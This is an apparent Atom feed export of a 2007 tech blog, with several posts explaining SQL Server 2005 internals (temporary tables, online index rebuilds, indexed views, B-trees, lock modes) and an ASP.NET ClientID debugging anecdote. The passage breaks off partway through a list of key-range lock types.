type='html'>&lt;span style="font-weight: bold;"&gt;Temporary Tables, Table Variables, Common Table Expressions - Part 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this series I'm going to clear up some of the misconceptions and confusion surrounding these tempory data structures that are commonly used to materialize data temporarily.  Temporary tables, table variables are often 'abused' due to a lack of knowledge about efficient set based programming (myself included).  Hopefully I can provide a better understanding of how these temporary structures behave and in which circumstances you should use each.&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Local Temporay Tables &lt;/span&gt;&lt;br /&gt;Tempory tables are manipulated in the exact same way as permanent tables, however temp tables are created in the tempdb, reguardless of your session's database context (except if they are small enough and sql server has enough free memory, in which case they will reside in the cache - but don't count on it).  &lt;/p&gt;&lt;p&gt;Remember that tempdb's recovery mode is SIMPLE and cannot be changed, this means that all bulk operations involved with temporary are always minimally logged - there is no recovery process for tempdb.  One reason to use temporary tables is to take load off of the user database when you need persistant temporary data; we can take advantage of the fact that tempdb is treated differently than user databases.&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Scope and Visibility&lt;/span&gt;&lt;br /&gt;A temporary table is owned by the creating session, and is only visible to it. The scope of the temp table is limited to the session, therefore other sessions may create temp tables using the same name. Because of this SQL Server will generate its own naming scheme for entries in system tables (ie sys.objects), and these names won't directly correlate directly with the name&lt;br /&gt;you have assigned it.&lt;/p&gt;&lt;p&gt;Within the session, the temp table is only visible to the creating level in the call stack as well as the inner levels, not the outer levels.  If you create a temp table in the outermost level, its available everywhere within the session, across batches and within the inner levels.  As long as you don't close the connection, you'll have access to the temp table.  This can be really useful when you want to pass information to inner levels that don't have input parameters such as triggers.  when the creating level gets out of scope the temporary table is automatically destroyed.  The scope and visibility of temporary tables are much different than table variables and common table expressions, and will likely influence your choice in using one of these objects over the other.&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Transaction Context&lt;/span&gt;&lt;br /&gt;Temporary tables are likely to be used in transactions and obvisously behave differently than permanent tables in terms of logging and locking.  Remember again that tempdb has no recovery process, therefore there will be minimal logging which only ensure that transactions can be rolled back (but not rolled forward).  Unlike, permanent tables, temporary tables can only be accessed by the creating session, therefore there will be substantionally less locking involved.&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Statistics.&lt;/span&gt;&lt;br /&gt;Unlike table variables, The query optimizer creates and maintains distribution statistics for temporary tables in order to keep track of their cardinality, similar to permanant tables.  This info is used to estimate selectivity and determine optimized plans.  In order to maintain accurate statistics SQL Server must recompile statistics when the recompilation threshold is reached (determining the recompilation threshold for temp tables will be a whbole different article).  This propery will likely will affect your choice of temporary data structures.  If you are planning on doing a table scan of your data anyway you might not need to accept the overhead involved with keeping these statistics.&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Temporary Tables or Table Variables?&lt;/span&gt;&lt;br /&gt;In order to determine which structure to use you must understand the answers t the following questions: 1.  Does the optimizer need distribution statistics or accurate cardinality estimations to generate an efficint plan, and if so, What's the cost of using an inefficient plan when statistics are not available.  2.  What is the cost of recompilations if you do use temporary tables?&lt;/p&gt;&lt;p&gt;If the table is tiny (only a couple pages) the alternatives are to either 1) Use a table variable resulting in complete svans and few or no recompilations, or 2) use a temporary table resulting in index seeks and more recompilations.  The advantages of seeks versus scans may be outweighed by the disadvantages of recompiles, or vice versa.  I'll talk about table variables more in my next article.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-common_06.html"&gt;Part 1: Temporary Tables (#Tables)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-common.html"&gt;Part 2: Table Variables (@Tables)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.evanreiser.com/2007/05/temporary-tables-table-variables-table.html"&gt;Part 3: Table Expressions (CTEs)&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-1405823616568849243?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/1405823616568849243/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=1405823616568849243' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1405823616568849243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1405823616568849243'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/temporary-tables-table-variables-common_06.html' title='Temporary Tables, Table Variables, Table Expressions - Part 1/4'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-4935707751762328202</id><published>2007-05-03T19:23:00.001-04:00</published><updated>2007-05-07T10:02:20.939-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Prevent Data Loss when Changing Datatypes</title><content type='html'>Understanding data types in SQL server is required for anyone who is concerned with their database's functionality and/or performance (pick your metric). Understanding the differences and properties of these datatypes is useful for anyone who works with the database: dba, datmodeler, or developer. The time it takes to learn about the datatypes in depth (down to the internal) is time well spent.&lt;p&gt;Choosing SMALLDATETIME over DATETIME can cause a 1s error due to rounding while choosing DATETIME over SMALLDATETIME will double the size requirements for that column (if you think 2bytes per row is trivial, you've never worked on a large db :p).&lt;/p&gt;&lt;p&gt;Likewise, making schema changes to production databases must be well thought out and datatypes must be understood in order to prevent data loss.&lt;/p&gt;&lt;p&gt;A simple way to prevent data loss is to test out your proposed schema changes in a small temp table. By turning on the STATISTICS I/O option for the session will allow you to view the I/O of the change.  If no I/O is reported, you'll be assured that the change didn't touch the base data; the operation will be fast.  If your change doesn't require physical access to the base data you can be reassured that you aren't losing any of your valuable (?) data.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-4935707751762328202?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/4935707751762328202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=4935707751762328202' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4935707751762328202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4935707751762328202'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/05/prevent-data-loss-when-changing.html' title='Prevent Data Loss when Changing Datatypes'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-3884807227539664363</id><published>2007-04-27T01:24:00.000-04:00</published><updated>2007-04-27T01:25:27.122-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><category scheme='http://www.blogger.com/atom/ns#' term='Online Indexing'/><title type='text'>How Online Indexing Works</title><content type='html'>The default behavior of either method of rebuilding an index is that SQL Server takes an exclusive lock on the index, so it is completely unavailable while the index is being rebuilt. If the index is clustered, the entire table is unavailable; if the index is non-clustered, there is a shared lock on the table meaning no modifications can be made but other processes can SELECT from the table (But obviously they cannot take advantage of the index being rebuilt).  Now this is pretty miserable in large databases since queries wont be able to take advantage of indexes resulting in our arch nemisis: table scans.&lt;br /&gt;&lt;br /&gt;The online build works by maintaining two copies of the index simultaneously, the original (source) and the new one (target).  The target is used only for writing any changes made while the rebuild is going on.  All reading is done from source as well.  SQL Server row-level versioning is used so anyone retrieving information from the index will be able to read consistent data.&lt;br /&gt;&lt;br /&gt;Here are the steps involved in rebuilding a non-clustered index&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A shared lock is taken on the index, which prevents any data modification queries and an Intent-Shared lock is taken on the table&lt;/li&gt;&lt;li&gt;The index is created with the same structures as the original and marked as write-only&lt;/li&gt;&lt;li&gt;The shared lock is released on the index, leaving only the Intent-Shared lock on the table.&lt;/li&gt;&lt;li&gt;A versioned scan is started on the original index, which means modifications made during the scan will be ignored.  The scanned data is copied to the target&lt;/li&gt;&lt;li&gt;All subsequent modifications will write to both the source and the target.  Reads will use only the source&lt;/li&gt;&lt;li&gt;The scan of the source and copy to the target continues while normal operations are performed.&lt;/li&gt;&lt;li&gt;The scan completes&lt;/li&gt;&lt;li&gt;A Schema-Modification-Lock (most strict lock) is taken to make the source completely unavailable&lt;/li&gt;&lt;li&gt;The source is dropped, metadata is updated, and the target is made to be read-write&lt;/li&gt;&lt;li&gt;The Schema-Modification-Lock is released.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;A clustered index rebuild works exactly like a non-clustered rebuild property as long as there is no schema change (a change of index keys or uniqueness property).&lt;br /&gt;&lt;br /&gt;For a build of a new clustered index or a rebuild of a clustered index with a schema change there are a few more differences.  First, an intermediate mapping index is used to translate between the source and target physical structures.  Additionally, all existing non-clustered indexes are rebuilt one at a time after a new base table ahs been built.  Creating a clustered index on a heap with two non-clustered indexes involves the following steps:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Create a new write-only clustered Index&lt;/li&gt;&lt;li&gt;Create a new non-clustered index based on the new clustered index&lt;/li&gt;&lt;li&gt;Create another new non-clustered index based on the new clustered index&lt;/li&gt;&lt;li&gt;Drop the heap and the two original non-clustered indexes&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Online Index rebuilding can be costly as the server must maintain up to 6 structures at the same time, however this is incredibly useful for removing fragmentation or re-establishing a fillfactor when the data must be available 24/7 in high availability systems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-3884807227539664363?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/3884807227539664363/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=3884807227539664363' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3884807227539664363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3884807227539664363'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/how-online-indexing-works.html' title='How Online Indexing Works'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-5151885501874211412</id><published>2007-04-26T14:39:00.000-04:00</published><updated>2007-05-07T10:02:58.022-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asp.net'/><category scheme='http://www.blogger.com/atom/ns#' term='AjaxControlToolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX.ASP.NET'/><title type='text'>Werner Heisenberg Bug aka Observer Effect</title><content type='html'>Heisenberg Bug (c) Dan.Oscar.Mckinley. 2007&lt;br /&gt;&lt;br /&gt;When dynamically creating a &lt;a href="http://ajax.asp.net/ajaxtoolkit/DropDown/DropDown.aspx"&gt;dropdown extender control&lt;/a&gt; form the &lt;a href="http://www.codeplex.com/AtlasControlToolkit"&gt;ajaxControlToolkit&lt;/a&gt;, I was attempting to set the TargetControlID to be the ID of a Linkbutton.&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;     OnPreRender:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     DropDownExtender.TargetControlID = dd.Parent.Controls(2).ID&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;However, when this ran it told me that TargetControlID cannot be an empty string. Hmm weird, i only have some idea how the uniqueId's are generated, but i dont know how exactly or when in the page lifecycle, but I'm pretty sure it should be available by the preRender phase.&lt;br /&gt;&lt;br /&gt;I set a break point and on this line, and in the immediate window i check the client id&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;    ?dd.Parent.Controls(2).ClientID&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "GResults1_dg_ctl02_ctl13"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ?dd.Parent.Controls(2).ID&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    "ctl13"&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;What the hell is going on, the ID is set, i dont know why TargetControlID is an empty string.  I continue running, and the page loads fine.  I refresh and it errors again.  I step through this code, check the ID's, and it works again.&lt;br /&gt;&lt;br /&gt;After a little research (aka not checking on google and going straight to a Sr. Developer) i found out that ASP.NET will only build up a control ID, when the ClientID property is referenced.  This makes a lot of sense since you dont want to waste time generating ClientID's for every control: only the ones you are planning on referencing on the client side.&lt;br /&gt;&lt;br /&gt;I changed the code to reference the ClientID, and now the ID is correctly created (although in this case i'm setting it myself)&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;     OnPreRender:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     dd.Parent.Controls(2).ID = dd.Parent.ClientID + "&lt;span style="color: rgb(153, 0, 0);"&gt;_lb&lt;/span&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     DropDownExtender.TargetControlID = dd.Parent.Controls(2).ID&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;      The interesting part here is that i couldn't actually see the bug here since my commands on in the immediate window were affecting the objects. Observing the ClientID caused the ID to be generated, making it seem like the ID should not be nothing at this point in the code.  Maybe the underlying problem is  that people shouldn't be programming serious apps if they dont understand what is going on under the hood. Note to self: learn more stuff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-5151885501874211412?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/5151885501874211412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=5151885501874211412' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/5151885501874211412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/5151885501874211412'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/werner-heisenberg-bug-aka-observer.html' title='Werner Heisenberg Bug aka Observer Effect'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-4981686337575643060</id><published>2007-04-26T12:15:00.001-04:00</published><updated>2007-04-26T12:15:52.795-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Longhorn'/><category scheme='http://www.blogger.com/atom/ns#' term='IIS7'/><title type='text'>Longhorn Beta 3 Evaluation</title><content type='html'>&lt;a href="http://www.microsoft.com/windowsserver/longhorn/audsel.mspx"&gt; Windows Server Code Name "Longhorn" Beta 3 Evaluation&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;IIS7, RODC, PowerShell, Serer Manager, NAP, Failover Clustering, etc&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-4981686337575643060?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/4981686337575643060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=4981686337575643060' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4981686337575643060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/4981686337575643060'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/longhorn-beta-3-evaluation.html' title='Longhorn Beta 3 Evaluation'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-1039450889676592042</id><published>2007-04-26T01:16:00.000-04:00</published><updated>2007-04-26T01:49:32.873-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><category scheme='http://www.blogger.com/atom/ns#' term='Indexed Views'/><title type='text'>Why Indexed Views are Cool</title><content type='html'>One of the most important benefits of Indexed Views (aka &lt;span style="font-style: italic;"&gt;materialized views&lt;/span&gt;) is the ability to materialize summary aggregates of large tables.  Normal views are only saved queries and do not store the results.  Every time the view is referenced, the aggregation to produce the grouped results must be recomputed.&lt;br /&gt;&lt;br /&gt;However when you create an index on the view, the aggregate data is stored in the leaf level of the index.  Aggregate and reporting queries can then be processed using the indexed views without having to scan underlying large tables. Yeah, read that again, its pretty damn cool.&lt;br /&gt;&lt;br /&gt;The first index you must build on a view is a clustered index, and because the clustered index contains all the data at its leaf level, this index actually does materialize the view.  The views data is physically stored at the leaf level of the clustered index. &lt;br /&gt;&lt;br /&gt;Because of their special nature, Indexed Views (and Indexed Computed Columns) must only contain deterministic functions (a function that returns the same result every time it is called with the same set of input values).  Expressions or functions that return float or real values are not acceptable since these values are imprecise as they can be computed differently on different system architectures.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-1039450889676592042?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/1039450889676592042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=1039450889676592042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1039450889676592042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1039450889676592042'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/why-indexed-views-are-cool.html' title='Why Indexed Views are Cool'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-7734882553866681295</id><published>2007-04-23T21:53:00.000-04:00</published><updated>2007-04-26T01:31:13.604-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>B-Trees: Difference Between Clustered and Non-Clustered Indices</title><content type='html'>&lt;span style="font-weight: bold;"&gt;B-Trees&lt;/span&gt;&lt;br /&gt;First lets be clear on what a B-Tree is, and why they are important in Database Systems. A B-Tree index provides fast access to data by searching on a key value of the index.  B-Trees cluster records with similar keys.  The B stands for balanced (not binary!), and balancing the tree is a core feature of the B-tree’s usefulness.  The trees are managed and branches are grafted as necessary, so navigating down the tree to find a value and locate a specific record takes only a few page accesses.  Because the trees are balanced, finding any record only requires (about) the same number of resources, and retrieval speed is consistent because index has the same depth throughout the tree.&lt;br /&gt;&lt;br /&gt;In any index, whether clustered or non-clustered, the leaf level contains every key value (or combination of values for composite indices) in key sequence.  The biggest difference between a clustered and non-clustered index is what else in the leaf. Below I'll explain in detail what the difference between a Clustered and Non-clustered index is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Clustered Index&lt;/span&gt;&lt;br /&gt;The leaf level of a clustered index contains the data pages, not just the index keys. Read that last line again.  All columns of every row are in the leaf level; the data itself is part of the index.  A clustered index keeps the data in a table ordered around the key.  The data pages in the table are kept in a doubly linked list called a page chain (In a Heap pages are not linked together).  Therefore the order of pages in the page chain, and the order of rows on the data pages, is the order of the index key or keys.  When the key is found in a clustered index the data has been found, not simply pointed to.&lt;br /&gt;&lt;br /&gt;Since the actual page chain for the data pages can only be ordered in one way, a table can only have one clustered index.  It is a common misconception that clustered indexes store the data in sorted order on the disk.  Sorted order simply means that the data page chain is logically in order, if the SQL Server follows the page chain it can access each row in the clustered index key order.  New pages can be added simply by adjusting the links in the page chain&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Non-Clustered Index&lt;/span&gt;&lt;br /&gt;In a non-clustered index, the leaf level does not contain all the data.  In addition to the key values, each inde row in the leaf level contains a bookmark that tells you where to find the data row corresponding to the key in the index.  If the table is a heap (no clustered index) the non-clustered index’s bookmarks are row identifiers (RID) which is an actual row locator in the form File#.Page#.Slot#&lt;br /&gt;&lt;br /&gt;The presence or absence of a non-clustered index does not affect how the data pages are organized; therefore you are not restricted to only having one non-clustered index per table.  When you search for data using a non-clustered index the index is traversed, and then SQL server retrieves the record or records pointed to by the leaf-level indexes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-7734882553866681295?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/7734882553866681295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=7734882553866681295' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7734882553866681295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7734882553866681295'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/04/b-trees-difference-between-clustered.html' title='B-Trees: Difference Between Clustered and Non-Clustered Indices'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-6160096742917706095</id><published>2007-04-22T22:34:00.000-04:00</published><updated>2007-04-26T01:30:48.506-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Locking'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Locking in SQL Server 2005</title><content type='html'>Depending on the &lt;a href="http://www.evanreiser.com/2007/04/transaction-isolation-levels-in-sql.html"&gt;Transaction Isolation Level&lt;/a&gt; set for your transaction, your queries will request various locks in order to ensure the correct &lt;a href="http://www.evanreiser.com/2007/04/consistency-problems-dependency.html"&gt;consistency behaviors&lt;/a&gt;.  I'd like to go over some of the different types of locks that may be issued as well as explain some of their differences.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Shared Locks&lt;/span&gt;&lt;br /&gt;Shared locks are acquired automatically when data is read.  Shared locks can be held on a table, page, index key, or individual row.  Many processes can hold shared locks on the same data, but no process can acquire an exclusive lock on data that has a shared lock on it (unless it is the only process holding a shared lock).  Normally shared locks are released as soon as the data is read, however this can be changed via query hints or depending on the isolation level&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Exclusive Locks&lt;/span&gt;&lt;br /&gt;Exclusive locks are acquired automatically when data is modified with an insert, update or delete operation.  Only one process at a time can hold an exclusive lock on a particular data resource, no other locks of any kind can be acquired once an exclusive lock is held.  Exclusive locks are held until the end of the transaction: this means that changed data is not available to any other process until the current transaction commits or rollsback&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update Locks&lt;/span&gt;&lt;br /&gt;Update locks are acquired when the server executes a data modification operation but first needs to search the table to find the resource that will be modified.  An update lock is not sufficient to allow you to change the data; all modifications require that the data resource being modified have an exclusive lock.  An update lock acts as a serialization gate to queue future requests for the exclusive lock (many processes can hold shared locks for a resource but only one process can hold an update lock). As long as a process holds an update lock on a resource no other process can acquire an update lock or an exclusive lock for that resource; instead, another process requesting an update or exclusive lock for the same resource must wait.  The process holding the update lock can convert in into an exclusive lock on the resource because the update lock prevents lock incompatibility with any other processes.  Update locks can also be known as “intent-to-update-locks.”  The reason this is important is because serializing access for the exclusive lock lets you avoid conversion deadlocks.  Update locks are held until the end of the transaction or until they are converted into an exclusive lock.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Intent Locks&lt;/span&gt;&lt;br /&gt;Intent locks are not a separate mode of locking; they are a qualifier to the modes mentioned above: you can have intent shared locks, intent exclusive locks, and intent update locks.  Because SQL Server can acquire locks at different levels of granularity, a mechanism is required to indicate that a component of a resource is already locked.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Special Lock Modes (Schema stability locks, schema modification locks, bulk update locks)&lt;/span&gt;&lt;br /&gt;When queries are compiled, schema stability locks prevent other processes from acquiring schema modification locks, which are taken when a table’s structure is being modified.  Bulk insert locks are acquired during various bulk inserts such as BULK INSERT or by using the TABLOCK hint.  Requesting this special bulk update table lock does not necessarily mean it will be granted; if other processes already hold locks on the table, or if the table has any indexes, a bulk update lock cannot be granted.  If multiple connections have requested and received a bulk update lock they can perform parallel loads into the same table.  Unlike exclusive locks, bulk update locks do not conflict with each other, so concurrent inserts by multiple connections is supported.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conversion Locks&lt;/span&gt;&lt;br /&gt;Conversion locks cannot be directed requested by SQL server but are the result of a conversion from one mode to another, in SQL Server 2005, these consist of SIX, SIU, UIX.  The most common of which is the SIX, which occurs if a transaction holding a shared lock on a resource and later an IX lock is needed.  The lock mode would be indicated as SIX.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Key Locks&lt;/span&gt;&lt;br /&gt;For certain isolation levels (Read Committed, Repeatable Read, or Snapshot) SQL Server tries to lock the actual index keys accessed while processing the query.  With a table that has a clustered index, the data rows are the lead level of the index, and you will see key locks acquired.  If the table is a heap, you might see key locks for the non-clustered indexes and row locks for the actual data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Key Range Locks&lt;/span&gt;&lt;br /&gt;Additonal lock modes – called key range locks, are taken only in the Serializable isolation level for locking ranges of data.   There are 9 times of key-range locks, and each as a two part name: the first part indicates the type of lock on the range of data between adjacent index keys, and the second part indicates the type of lock on the key itself. Most of which are very rare and/or transient. These types of key range locks are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;RangeS-S –Shared lock on the range between keys (shared lock on the key at the end of the range)&lt;/li&gt;&lt;li&gt;RangeS-U –Shared lock on the range between the keys (update lock on the key at the end of the range)&lt;/li&gt;&lt;li&gt;RangeIn-Null – Exclusive lock to prevent inserts on the range between keys; no lock on the keys themselves&lt;/li&gt;&lt;li&gt;RangeX-X – Exclsuive lock on the range between keys; exclusive lock on the key at the end of the range&lt;/li&gt;&lt;li&gt;RangeIn-S – Conversion: S + RangeIn-Null&lt;/li&gt;&lt;li&gt;RangeIn-U – Conversion: U + RangeIn-Null&lt;/li&gt;&lt;li&gt;RangeIn-X – Conversion: X + RangeIn-Null&lt;/li&gt;&lt;li&gt;RangeX-S – Conversion: RangeIn-Null + 